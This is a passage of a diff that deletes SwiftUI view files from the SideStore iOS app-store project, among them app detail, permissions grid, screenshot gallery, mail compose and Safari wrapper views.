func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
|
||||
self.parent.selectedUrl = nil
|
||||
}
|
||||
|
||||
func documentPicker(_ controller: UIDocumentPickerViewController, didPickDocumentsAt urls: [URL]) {
|
||||
|
||||
guard let firstURL = urls.first else {
|
||||
return
|
||||
}
|
||||
|
||||
self.parent.selectedUrl = firstURL
|
||||
}
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
//
|
||||
// FilePreviewView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 03.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import UIKit
|
||||
import QuickLook
|
||||
|
||||
struct FilePreviewView: UIViewControllerRepresentable {
|
||||
let urls: [URL]
|
||||
|
||||
func makeCoordinator() -> Coordinator {
|
||||
Coordinator(urls: self.urls)
|
||||
}
|
||||
|
||||
func makeUIViewController(context: Context) -> some UIViewController {
|
||||
let previewController = QLPreviewController()
|
||||
previewController.dataSource = context.coordinator
|
||||
return UINavigationController(rootViewController: previewController)
|
||||
}
|
||||
|
||||
func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {
|
||||
context.coordinator.urls = self.urls
|
||||
}
|
||||
}
|
||||
|
||||
extension FilePreviewView {
|
||||
|
||||
class Coordinator: QLPreviewControllerDataSource {
|
||||
var urls: [URL]
|
||||
|
||||
init(urls: [URL]) {
|
||||
self.urls = urls
|
||||
}
|
||||
|
||||
func numberOfPreviewItems(in controller: QLPreviewController) -> Int {
|
||||
urls.count
|
||||
}
|
||||
|
||||
func previewController(_ controller: QLPreviewController, previewItemAt index: Int) -> QLPreviewItem {
|
||||
urls[index] as QLPreviewItem
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
//
|
||||
// MailComposeView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 04.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import MessageUI
|
||||
|
||||
struct MailComposeView: UIViewControllerRepresentable {
|
||||
typealias ActionHandler = () -> Void
|
||||
typealias ErrorHandler = (Error) -> Void
|
||||
|
||||
static var canSendMail: Bool {
|
||||
MFMailComposeViewController.canSendMail()
|
||||
}
|
||||
|
||||
let recipients: [String]
|
||||
let subject: String
|
||||
var body: String? = nil
|
||||
|
||||
var onMailSent: ActionHandler? = nil
|
||||
var onError: ErrorHandler? = nil
|
||||
|
||||
func makeCoordinator() -> Coordinator {
|
||||
Coordinator(mailSentHandler: self.onMailSent, errorHandler: self.onError)
|
||||
}
|
||||
|
||||
func makeUIViewController(context: Context) -> some UIViewController {
|
||||
let mailViewController = MFMailComposeViewController()
|
||||
mailViewController.mailComposeDelegate = context.coordinator
|
||||
mailViewController.setToRecipients(self.recipients)
|
||||
mailViewController.setSubject(self.subject)
|
||||
|
||||
if let body {
|
||||
mailViewController.setMessageBody(body, isHTML: false)
|
||||
}
|
||||
|
||||
return mailViewController
|
||||
}
|
||||
|
||||
func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
extension MailComposeView {
|
||||
class Coordinator: NSObject, MFMailComposeViewControllerDelegate {
|
||||
|
||||
let mailSentHandler: ActionHandler?
|
||||
let errorHandler: ErrorHandler?
|
||||
|
||||
init(mailSentHandler: ActionHandler?, errorHandler: ErrorHandler?) {
|
||||
self.mailSentHandler = mailSentHandler
|
||||
self.errorHandler = errorHandler
|
||||
super.init()
|
||||
}
|
||||
|
||||
func mailComposeController(_ controller: MFMailComposeViewController, didFinishWith result: MFMailComposeResult, error: Error?) {
|
||||
if result == .sent, let mailSentHandler {
|
||||
mailSentHandler()
|
||||
} else if result == .failed, let errorHandler, let error {
|
||||
errorHandler(error)
|
||||
}
|
||||
|
||||
controller.dismiss(animated: true)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
//
|
||||
// SafariView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SafariServices
|
||||
|
||||
struct SafariView: UIViewControllerRepresentable {
|
||||
let url: URL
|
||||
|
||||
func makeUIViewController(context: Context) -> some UIViewController {
|
||||
SFSafariViewController(url: url)
|
||||
}
|
||||
|
||||
func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) { }
|
||||
}
|
||||
@@ -1,52 +0,0 @@
|
||||
//
|
||||
// SiriShortcutSetupView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 21.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
import UIKit
|
||||
import Intents
|
||||
import IntentsUI
|
||||
|
||||
struct SiriShortcutSetupView: UIViewControllerRepresentable {
|
||||
|
||||
let shortcut: INShortcut
|
||||
|
||||
func makeUIViewController(context: Context) -> some UIViewController {
|
||||
let viewController = INUIAddVoiceShortcutViewController(shortcut: shortcut)
|
||||
viewController.delegate = context.coordinator
|
||||
viewController.modalPresentationStyle = .formSheet
|
||||
return viewController
|
||||
}
|
||||
|
||||
func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) { }
|
||||
|
||||
func makeCoordinator() -> Coordinator {
|
||||
Coordinator(shortcut: shortcut)
|
||||
}
|
||||
|
||||
class Coordinator: NSObject {
|
||||
|
||||
let shortcut: INShortcut
|
||||
|
||||
init(shortcut: INShortcut) {
|
||||
self.shortcut = shortcut
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension SiriShortcutSetupView.Coordinator: INUIAddVoiceShortcutViewControllerDelegate {
|
||||
func addVoiceShortcutViewController(_ controller: INUIAddVoiceShortcutViewController, didFinishWith voiceShortcut: INVoiceShortcut?, error: Error?) {
|
||||
|
||||
// TODO: Handle errors
|
||||
controller.dismiss(animated: true)
|
||||
}
|
||||
|
||||
func addVoiceShortcutViewControllerDidCancel(_ controller: INUIAddVoiceShortcutViewController) {
|
||||
controller.dismiss(animated: true)
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
//
|
||||
// VisualEffectView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 01.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct VisualEffectView: UIViewRepresentable {
|
||||
let blurStyle: UIBlurEffect.Style
|
||||
|
||||
func makeUIView(context: Context) -> some UIView {
|
||||
UIVisualEffectView(effect: UIBlurEffect(style: blurStyle))
|
||||
}
|
||||
|
||||
func updateUIView(_ uiView: UIViewType, context: Context) { }
|
||||
}
|
||||
|
||||
|
||||
extension View {
|
||||
@ViewBuilder
|
||||
func blurBackground(_ style: UIBlurEffect.Style) -> some View {
|
||||
self
|
||||
.background(VisualEffectView(blurStyle: style))
|
||||
}
|
||||
}
|
||||
@@ -1,454 +0,0 @@
|
||||
//
|
||||
// AppDetailView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AsyncImage
|
||||
import ExpandableText
|
||||
import SFSafeSymbols
|
||||
import AltStoreCore
|
||||
|
||||
struct AppDetailView: View {
|
||||
|
||||
let storeApp: StoreApp
|
||||
|
||||
let byteCountFormatter: ByteCountFormatter = {
|
||||
let formatter = ByteCountFormatter()
|
||||
return formatter
|
||||
}()
|
||||
|
||||
@State var scrollOffset: CGFloat = .zero
|
||||
let maxContentCornerRadius: CGFloat = 24
|
||||
let headerViewHeight: CGFloat = 140
|
||||
let permissionColumns = 4
|
||||
|
||||
var headerBlurRadius: CGFloat {
|
||||
min(20, max(0, 20 - (scrollOffset / -150) * 20))
|
||||
}
|
||||
var isHeaderViewVisible: Bool {
|
||||
scrollOffset < headerViewHeight + 12
|
||||
}
|
||||
var contentCornerRadius: CGFloat {
|
||||
max(CGFloat.zero, min(maxContentCornerRadius, maxContentCornerRadius * (1 - self.scrollOffset / self.headerViewHeight)))
|
||||
}
|
||||
|
||||
var canRateApp: Bool {
|
||||
self.storeApp.installedApp != nil
|
||||
}
|
||||
|
||||
|
||||
var body: some View {
|
||||
ObservableScrollView(scrollOffset: $scrollOffset) { proxy in
|
||||
LazyVStack {
|
||||
headerView
|
||||
.frame(height: headerViewHeight)
|
||||
|
||||
contentView
|
||||
}
|
||||
}
|
||||
.navigationBarTitleDisplayMode(.inline)
|
||||
.toolbar {
|
||||
ToolbarItemGroup(placement: .navigationBarTrailing) {
|
||||
AppPillButton(app: storeApp)
|
||||
.disabled(isHeaderViewVisible)
|
||||
.offset(y: isHeaderViewVisible ? 12 : 0)
|
||||
.opacity(isHeaderViewVisible ? 0 : 1)
|
||||
.animation(.easeInOut(duration: 0.2), value: isHeaderViewVisible)
|
||||
}
|
||||
|
||||
ToolbarItemGroup(placement: .principal) {
|
||||
HStack {
|
||||
Spacer()
|
||||
AppIconView(iconUrl: storeApp.iconURL, size: 24)
|
||||
Text(storeApp.name)
|
||||
.bold()
|
||||
Spacer()
|
||||
}
|
||||
.offset(y: isHeaderViewVisible ? 12 : 0)
|
||||
.opacity(isHeaderViewVisible ? 0 : 1)
|
||||
.animation(.easeInOut(duration: 0.2), value: isHeaderViewVisible)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var headerView: some View {
|
||||
ZStack(alignment: .center) {
|
||||
GeometryReader { proxy in
|
||||
AppIconView(iconUrl: storeApp.iconURL, size: proxy.frame(in: .global).width)
|
||||
.blur(radius: headerBlurRadius)
|
||||
.offset(y: min(0, scrollOffset))
|
||||
}
|
||||
.padding()
|
||||
|
||||
AppRowView(app: storeApp)
|
||||
.padding(.horizontal)
|
||||
}
|
||||
}
|
||||
|
||||
var contentView: some View {
|
||||
VStack(alignment: .leading, spacing: 24) {
|
||||
VStack(alignment: .leading, spacing: 32) {
|
||||
if storeApp.isFromOfficialSource {
|
||||
officialAppBadge
|
||||
} else if storeApp.isFromTrustedSource {
|
||||
trustedAppBadge
|
||||
}
|
||||
|
||||
if let subtitle = storeApp.subtitle {
|
||||
VStack {
|
||||
if #available(iOS 15.0, *) {
|
||||
Image(systemSymbol: .quoteOpening)
|
||||
.foregroundColor(.secondary.opacity(0.5))
|
||||
.imageScale(.large)
|
||||
.transformEffect(CGAffineTransform(a: 1, b: 0, c: -0.3, d: 1, tx: 0, ty: 0))
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
.offset(x: 30)
|
||||
}
|
||||
|
||||
Text(subtitle)
|
||||
.bold()
|
||||
.italic()
|
||||
.multilineTextAlignment(.center)
|
||||
.frame(maxWidth: .infinity)
|
||||
|
||||
if #available(iOS 15.0, *) {
|
||||
Image(systemSymbol: .quoteClosing)
|
||||
.foregroundColor(.secondary.opacity(0.5))
|
||||
.imageScale(.large)
|
||||
.transformEffect(CGAffineTransform(a: 1, b: 0, c: -0.3, d: 1, tx: 0, ty: 0))
|
||||
.frame(maxWidth: .infinity, alignment: .trailing)
|
||||
.offset(x: -30)
|
||||
}
|
||||
}
|
||||
.padding(.horizontal)
|
||||
}
|
||||
|
||||
if !storeApp.screenshotURLs.isEmpty {
|
||||
// Equatable: Only reload the view if the screenshots change.
|
||||
// This prevents unnecessary redraws on scroll.
|
||||
AppScreenshotsScrollView(urls: storeApp.screenshotURLs)
|
||||
.equatable()
|
||||
} else {
|
||||
VStack() {
|
||||
Text(L10n.AppDetailView.noScreenshots)
|
||||
.italic()
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
.frame(maxWidth: .infinity)
|
||||
.padding(.horizontal)
|
||||
}
|
||||
|
||||
ExpandableText(text: storeApp.localizedDescription)
|
||||
.lineLimit(6)
|
||||
.expandButton(TextSet(text: L10n.AppDetailView.more, font: .callout, color: .accentColor))
|
||||
.padding(.horizontal)
|
||||
}
|
||||
|
||||
|
||||
VStack(spacing: 24) {
|
||||
Divider()
|
||||
|
||||
currentVersionView
|
||||
|
||||
Divider()
|
||||
|
||||
ratingsView
|
||||
|
||||
Divider()
|
||||
|
||||
permissionsView
|
||||
|
||||
Divider()
|
||||
|
||||
informationView
|
||||
|
||||
if !(storeApp.isFromOfficialSource || storeApp.isFromTrustedSource) {
|
||||
Divider()
|
||||
|
||||
reportButton
|
||||
}
|
||||
}
|
||||
.padding(.horizontal)
|
||||
}
|
||||
.padding(.vertical)
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: contentCornerRadius)
|
||||
.foregroundColor(Color(UIColor.systemBackground))
|
||||
.shadow(radius: isHeaderViewVisible ? 12 : 0)
|
||||
)
|
||||
}
|
||||
|
||||
var officialAppBadge: some View {
|
||||
HintView(backgroundColor: Color(UIColor.secondarySystemBackground)) {
|
||||
HStack {
|
||||
Spacer()
|
||||
Image(systemSymbol: .checkmarkSealFill)
|
||||
Text(L10n.AppDetailView.Badge.official)
|
||||
Spacer()
|
||||
}
|
||||
.foregroundColor(.accentColor)
|
||||
}
|
||||
.padding(.horizontal)
|
||||
}
|
||||
|
||||
var trustedAppBadge: some View {
|
||||
HintView(backgroundColor: Color(UIColor.secondarySystemBackground)) {
|
||||
HStack {
|
||||
Spacer()
|
||||
Image(systemSymbol: .shieldLefthalfFill)
|
||||
Text(L10n.AppDetailView.Badge.trusted)
|
||||
Spacer()
|
||||
}
|
||||
.foregroundColor(.accentColor)
|
||||
}
|
||||
.padding(.horizontal)
|
||||
}
|
||||
|
||||
var currentVersionView: some View {
|
||||
VStack(alignment: .leading, spacing: 8) {
|
||||
VStack {
|
||||
HStack(alignment: .firstTextBaseline) {
|
||||
Text(L10n.AppDetailView.whatsNew)
|
||||
.bold()
|
||||
.font(.title3)
|
||||
|
||||
Spacer()
|
||||
|
||||
NavigationLink {
|
||||
AppVersionHistoryView(storeApp: self.storeApp)
|
||||
} label: {
|
||||
Text(L10n.AppDetailView.WhatsNew.versionHistory)
|
||||
}
|
||||
}
|
||||
|
||||
if let latestVersion = storeApp.latestVersion {
|
||||
HStack {
|
||||
Text(L10n.AppDetailView.version(latestVersion.version))
|
||||
Spacer()
|
||||
Text(DateFormatterHelper.string(forRelativeDate: latestVersion.date))
|
||||
}
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
|
||||
if let versionDescription = storeApp.versionDescription {
|
||||
ExpandableText(text: versionDescription)
|
||||
.lineLimit(5)
|
||||
.expandButton(TextSet(text: L10n.AppDetailView.more, font: .callout, color: .accentColor))
|
||||
} else {
|
||||
Text(L10n.AppDetailView.noVersionInformation)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
|
||||
if true {
|
||||
SwiftUI.Button {
|
||||
UIApplication.shared.open(URL(string: "https://github.com/SideStore/SideStore")!) { _ in }
|
||||
} label: {
|
||||
HStack {
|
||||
Text(L10n.AppDetailView.WhatsNew.showOnGithub)
|
||||
Image(systemSymbol: .arrowUpForwardSquare)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var ratingsView: some View {
|
||||
VStack(alignment: .leading, spacing: 8) {
|
||||
HStack(alignment: .firstTextBaseline) {
|
||||
Text(L10n.AppDetailView.whatsNew)
|
||||
.bold()
|
||||
.font(.title3)
|
||||
|
||||
Spacer()
|
||||
|
||||
NavigationLink {
|
||||
AppVersionHistoryView(storeApp: self.storeApp)
|
||||
} label: {
|
||||
Text(L10n.AppDetailView.Reviews.seeAll)
|
||||
}
|
||||
}
|
||||
|
||||
HStack(spacing: 40) {
|
||||
VStack {
|
||||
Text("3.0")
|
||||
.font(.system(size: 48, weight: .bold, design: .rounded))
|
||||
.opacity(0.8)
|
||||
Text(L10n.AppDetailView.Reviews.outOf(5))
|
||||
.bold()
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
VStack(alignment: .trailing) {
|
||||
LazyVGrid(columns: [GridItem(.fixed(48), alignment: .trailing), GridItem(.flexible())], spacing: 2) {
|
||||
ForEach(Array(1...5).reversed(), id: \.self) { rating in
|
||||
HStack(spacing: 2) {
|
||||
ForEach(0..<rating) { _ in
|
||||
Image(systemSymbol: .starFill)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(height: 8)
|
||||
}
|
||||
}
|
||||
|
||||
ProgressView(value: 0.5)
|
||||
.frame(maxWidth: .infinity)
|
||||
.progressViewStyle(LinearProgressViewStyle(tint: .secondary))
|
||||
}
|
||||
}
|
||||
.foregroundColor(.secondary)
|
||||
.frame(maxWidth: .infinity)
|
||||
|
||||
Text(L10n.AppDetailView.Reviews.ratings(5))
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
|
||||
TabView {
|
||||
ForEach(0..<5) { i in
|
||||
HintView(backgroundColor: Color(UIColor.secondarySystemBackground)) {
|
||||
VStack(alignment: .leading) {
|
||||
VStack(alignment: .leading, spacing: 4) {
|
||||
HStack {
|
||||
Text("Review \(i + 1)")
|
||||
.bold()
|
||||
.lineLimit(1)
|
||||
|
||||
Spacer()
|
||||
|
||||
Text(DateFormatterHelper.string(forRelativeDate: Date().addingTimeInterval(-60*60)))
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
RatingStars(rating: 5 - i)
|
||||
.frame(height: 12)
|
||||
.foregroundColor(.yellow)
|
||||
}
|
||||
|
||||
ExpandableText(text: "Long review text content here.\nMultiple lines.\nAt least three are shown.\nBut are there more?")
|
||||
.lineLimit(3)
|
||||
.expandButton(TextSet(text: L10n.AppDetailView.more, font: .callout, color: .accentColor))
|
||||
}
|
||||
.frame(maxWidth: .infinity)
|
||||
|
||||
}
|
||||
.tag(i)
|
||||
.padding(.horizontal, 16)
|
||||
}
|
||||
}
|
||||
.tabViewStyle(PageTabViewStyle(indexDisplayMode: .never))
|
||||
.frame(height: 150)
|
||||
.padding(.horizontal, -16)
|
||||
|
||||
if self.canRateApp {
|
||||
ModalNavigationLink {
|
||||
NavigationView {
|
||||
WriteAppReviewView(storeApp: self.storeApp)
|
||||
}
|
||||
} label: {
|
||||
Label("Write a Review", systemSymbol: .squareAndPencil)
|
||||
}
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var permissionsView: some View {
|
||||
VStack(alignment: .leading, spacing: 8) {
|
||||
Text(L10n.AppDetailView.permissions)
|
||||
.bold()
|
||||
.font(.title3)
|
||||
|
||||
if storeApp.permissions.isEmpty {
|
||||
Text(L10n.AppDetailView.noPermissions)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
} else {
|
||||
AppPermissionsGrid(permissions: storeApp.permissions)
|
||||
}
|
||||
}
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
}
|
||||
|
||||
var informationData: [(title: String, content: String)] {
|
||||
var data: [(title: String, content: String)] = [
|
||||
(L10n.AppDetailView.Information.source, self.storeApp.source?.name ?? ""),
|
||||
(L10n.AppDetailView.Information.developer, self.storeApp.developerName),
|
||||
// ("Category", self.storeApp.category),
|
||||
]
|
||||
|
||||
if let latestVersion = self.storeApp.latestVersion {
|
||||
data += [
|
||||
(L10n.AppDetailView.Information.size, self.byteCountFormatter.string(fromByteCount: latestVersion.size)),
|
||||
(L10n.AppDetailView.Information.latestVersion, self.storeApp.latestVersion?.version ?? ""),
|
||||
]
|
||||
|
||||
let iOSVersion = ProcessInfo.processInfo.operatingSystemVersion
|
||||
let hasCompatibilityInfo = [latestVersion.minOSVersion, latestVersion.maxOSVersion].compactMap({ $0 }).isEmpty == false
|
||||
var compatibility: String = hasCompatibilityInfo ?
|
||||
L10n.AppDetailView.Information.compatibilityCompatible :
|
||||
L10n.AppDetailView.Information.compatibilityUnknown
|
||||
|
||||
if let minOSVersion = latestVersion.minOSVersion, ProcessInfo.processInfo.isOperatingSystemAtLeast(minOSVersion) == false {
|
||||
compatibility = L10n.AppDetailView.Information.compatibilityAtLeast(minOSVersion.stringValue)
|
||||
}
|
||||
|
||||
if let maxOSVersion = latestVersion.maxOSVersion,
|
||||
(!ProcessInfo.processInfo.isOperatingSystemAtLeast(maxOSVersion) || maxOSVersion.stringValue.compare(iOSVersion.stringValue, options: .numeric) == .orderedSame) {
|
||||
compatibility = L10n.AppDetailView.Information.compatibilityOrLower(maxOSVersion.stringValue)
|
||||
}
|
||||
|
||||
data.append((L10n.AppDetailView.Information.compatibility, compatibility))
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
var informationView: some View {
|
||||
VStack(alignment: .leading) {
|
||||
Text(L10n.AppDetailView.information)
|
||||
.bold()
|
||||
.font(.title3)
|
||||
|
||||
LazyVGrid(columns: [GridItem(.flexible(), alignment: .leading), GridItem(.flexible(), alignment: .trailing)], spacing: 8) {
|
||||
ForEach(informationData, id: \.title) { title, content in
|
||||
Text(title)
|
||||
.foregroundColor(.secondary)
|
||||
.fixedSize(horizontal: false, vertical: true)
|
||||
|
||||
Text(content)
|
||||
.multilineTextAlignment(.trailing)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var reportButton: some View {
|
||||
SwiftUI.Button {
|
||||
|
||||
} label: {
|
||||
Label("Report this App", systemSymbol: .exclamationmarkBubble)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
struct AppDetailView_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
NavigationView {
|
||||
AppDetailView(storeApp: app)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
//
|
||||
// AppPermissionsGrid.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 27.11.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SFSafeSymbols
|
||||
import AltStoreCore
|
||||
|
||||
struct AppPermissionsGrid: View {
|
||||
|
||||
let permissions: [AppPermission]
|
||||
|
||||
let columns = Array(repeating: GridItem(.flexible()), count: 3)
|
||||
|
||||
var body: some View {
|
||||
LazyVGrid(columns: columns) {
|
||||
ForEach(permissions, id: \.type) { permission in
|
||||
AppPermissionGridItemView(permission: permission)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct AppPermissionGridItemView: View {
|
||||
let permission: AppPermission
|
||||
|
||||
@State var isPopoverPresented = false
|
||||
|
||||
var body: some View {
|
||||
SwiftUI.Button {
|
||||
self.isPopoverPresented = true
|
||||
} label: {
|
||||
VStack {
|
||||
Image(uiImage: permission.type.icon?.withRenderingMode(.alwaysTemplate) ?? UIImage(systemSymbol: .questionmark))
|
||||
.foregroundColor(.primary)
|
||||
.padding()
|
||||
.background(Circle().foregroundColor(Color(.secondarySystemBackground)))
|
||||
Text(permission.type.localizedShortName ?? permission.type.localizedName ?? "")
|
||||
}
|
||||
.foregroundColor(.primary)
|
||||
}
|
||||
.alert(isPresented: self.$isPopoverPresented) {
|
||||
Alert(title: Text(L10n.AppPermissionGrid.usageDescription), message: Text(permission.usageDescription))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//struct AppPermissionsGrid_Previews: PreviewProvider {
|
||||
// static var previews: some View {
|
||||
// AppPermissionsGrid()
|
||||
// }
|
||||
//}
|
||||
@@ -1,71 +0,0 @@
|
||||
//
|
||||
// AppScreenshotsPreview.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 23.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AsyncImage
|
||||
import AltStoreCore
|
||||
|
||||
struct AppScreenshotsPreview: View {
|
||||
|
||||
@Environment(\.dismiss)
|
||||
private var dismiss
|
||||
|
||||
let urls: [URL]
|
||||
let aspectRatio: CGFloat
|
||||
@State var index: Int
|
||||
|
||||
init(urls: [URL], aspectRatio: CGFloat = 9/16, initialIndex: Int = 0) {
|
||||
self.urls = urls
|
||||
self.aspectRatio = aspectRatio
|
||||
self._index = State(initialValue: initialIndex)
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
TabView(selection: $index) {
|
||||
ForEach(Array(urls.enumerated()), id: \.offset) { (i, url) in
|
||||
AppScreenshot(url: url, aspectRatio: aspectRatio)
|
||||
.padding()
|
||||
.tag(i)
|
||||
}
|
||||
}
|
||||
.tabViewStyle(PageTabViewStyle(indexDisplayMode: .never))
|
||||
.navigationTitle("\(index + 1) of \(self.urls.count)")
|
||||
.navigationBarTitleDisplayMode(.inline)
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .cancellationAction) {
|
||||
SwiftUI.Button {
|
||||
self.dismiss()
|
||||
} label: {
|
||||
Text(L10n.Action.close)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension AppScreenshotsPreview: Equatable {
|
||||
/// Prevent re-rendering of the view if the parameters didn't change
|
||||
static func == (lhs: AppScreenshotsPreview, rhs: AppScreenshotsPreview) -> Bool {
|
||||
lhs.urls == rhs.urls
|
||||
}
|
||||
}
|
||||
|
||||
struct AppScreenshotsPreview_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
Color.clear
|
||||
.sheet(isPresented: .constant(true)) {
|
||||
NavigationView {
|
||||
AppScreenshotsPreview(urls: app.screenshotURLs)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
//
|
||||
// AppScreenshotsScrollView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 27.11.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AsyncImage
|
||||
|
||||
|
||||
/// Horizontal ScrollView with an asynchronously loaded image for each screenshot URL
|
||||
///
|
||||
/// The struct inherits the `Equatable` protocol and implements the respective comparisation function to prevent the view from being constantly re-rendered when a `@State` change in the parent view occurs.
|
||||
/// This way, the `AppScreenshotsScrollView` will only be reloaded when the parameters change.
|
||||
struct AppScreenshotsScrollView: View {
|
||||
let urls: [URL]
|
||||
var aspectRatio: CGFloat = 9/16
|
||||
var height: CGFloat = 400
|
||||
|
||||
@State var selectedScreenshotIndex: Int?
|
||||
|
||||
var body: some View {
|
||||
ScrollView(.horizontal, showsIndicators: false) {
|
||||
HStack {
|
||||
ForEach(Array(urls.enumerated()), id: \.offset) { i, url in
|
||||
SwiftUI.Button {
|
||||
self.selectedScreenshotIndex = i
|
||||
} label: {
|
||||
AppScreenshot(url: url)
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding(.horizontal)
|
||||
}
|
||||
.frame(height: height)
|
||||
.shadow(radius: 12)
|
||||
.sheet(item: self.$selectedScreenshotIndex) { index in
|
||||
NavigationView {
|
||||
AppScreenshotsPreview(urls: urls, aspectRatio: aspectRatio, initialIndex: index)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension AppScreenshotsScrollView: Equatable {
|
||||
/// Prevent re-rendering of the view if the parameters didn't change
|
||||
static func == (lhs: AppScreenshotsScrollView, rhs: AppScreenshotsScrollView) -> Bool {
|
||||
lhs.urls == rhs.urls && lhs.aspectRatio == rhs.aspectRatio && lhs.height == rhs.height
|
||||
}
|
||||
}
|
||||
|
||||
extension Int: Identifiable {
|
||||
public var id: Int {
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
struct AppScreenshotsScrollView_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
AppScreenshotsScrollView(urls: app.screenshotURLs)
|
||||
}
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
//
|
||||
// AppVersionHistoryView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 28.01.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
import ExpandableText
|
||||
|
||||
struct AppVersionHistoryView: View {
|
||||
let storeApp: StoreApp
|
||||
|
||||
var body: some View {
|
||||
List {
|
||||
ForEach(storeApp.versions.sorted(by: { $0.date < $1.date }), id: \.version) { version in
|
||||
VStack(spacing: 8) {
|
||||
HStack {
|
||||
Text(version.version).bold()
|
||||
Spacer()
|
||||
Text(DateFormatterHelper.string(forRelativeDate: version.date))
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
if let versionDescription = version.localizedDescription {
|
||||
ExpandableText(text: versionDescription)
|
||||
.lineLimit(3)
|
||||
.expandButton(TextSet(text: L10n.AppDetailView.more, font: .callout, color: .accentColor))
|
||||
.buttonStyle(.plain)
|
||||
} else {
|
||||
Text("No version desciption available")
|
||||
.italic()
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
.listStyle(PlainListStyle())
|
||||
.navigationTitle("Version History")
|
||||
}
|
||||
}
|
||||
|
||||
struct AppVersionHistoryView_Previews: PreviewProvider {
|
